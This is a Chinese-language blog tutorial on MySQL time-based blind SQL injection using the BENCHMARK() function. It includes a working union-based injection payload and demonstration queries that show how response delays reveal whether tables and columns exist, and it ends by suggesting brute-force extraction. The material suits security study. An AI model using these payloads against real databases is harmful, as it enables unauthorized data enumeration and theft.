MYSQL——时间盲注BENCHMARK()

MySQL是一个开源的关系型数据库管理系统(RDBMS),它使用结构化查询语言(SQL)作为数据操作的标准语言。MySQL的名称由“My”和“SQL”两个单词组成,其中“My”是创始人Michael Widenius的女儿的名字,而“SQL”是结构化查询语言的缩写。

MySQL的特点是速度快、稳定、易用、灵活和可扩展。MySQL可以运行在多种操作系统上,如Windows、Linux、Mac OS等,也可以与多种编程语言配合使用,如PHP、Java、Python等。MySQL还提供了多种存储引擎、事务处理、复制、分区、全文索引等高级功能,满足不同的应用需求。

MySQL的应用领域非常广泛,它可以用来开发各种类型的网站和应用程序,如电子商务、社交网络、博客、论坛、新闻、游戏等。MySQL也是许多知名的互联网公司和组织的选择,如Facebook、Google、Twitter、Wikipedia等。

先上图看效果

1' union select 1,BENCHMARK(500000000,(select user from users limit 0,1))#

在这里插入图片描述
可见benchmark()函数是可以造成延时的。

简介:
它是MySQL的一个内置函数,用于测试函数或者表达式的执行速度。
其运行返回值都是0,仅仅会执行显示时间。

用法:benchmark(重复次数, 执行的函数)

例如:将select database()执行100000000次,显示耗时0.52sec

SELECT BENCHMARK(100000000,(select database()));

39c4955a9f854b5515d3dc9.png)
了解了基础用法,我们来看看在盲注利用时的相关特性:

特性1:无论benchmark()内的函数或表达式语句执行结果为True、False、Null,他都会正常执行。

SELECT BENCHMARK(100000000,(1=1));
SELECT BENCHMARK(100000000,(1=2));
SELECT BENCHMARK(100000000,(null));

在这里插入图片描述
看到这里可能会认为这个函数没有用,笔者当时也这样子觉得,但是却发现了他的另外两个特性

特性2:仅支持查询单行单列的结果,如果存在单行单列的执行结果,则可以正常执行,反之则报错,执行失败。

select user from users
SELECT BENCHMARK(100000000,(select user from users));
SELECT BENCHMARK(100000000,(select user from users limit 0,1));

在这里插入图片描述
可以看到当返回结果为多行单列时,直接报错。
当限制返回结果为单行单列时,成功执行。

特性3:当benchmark()内的语句运行失败时,benchmark同样执行失败。

 show columns from users;
 SELECT BENCHMARK(100000000,(select user from users limit 0,1));
 SELECT BENCHMARK(100000000,(select aaaa from users limit 0,1));

在这里插入图片描述可见当列名user存在时,可以执行benchmark;
列名aaaa不存在导致selec语句报错,benchmark则执行失败。

结合上面三个特性,我们可以利用benchmark函数判断我们查找的信息是否存在(表名、列名、字段名等),可以从是否有延时来验证数据库中是否有我们要查找的信息,效果上约等于sleep()函数,要是再配合上暴力破解那岂不是美滋滋。

  • 4
    点赞
  • 13
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值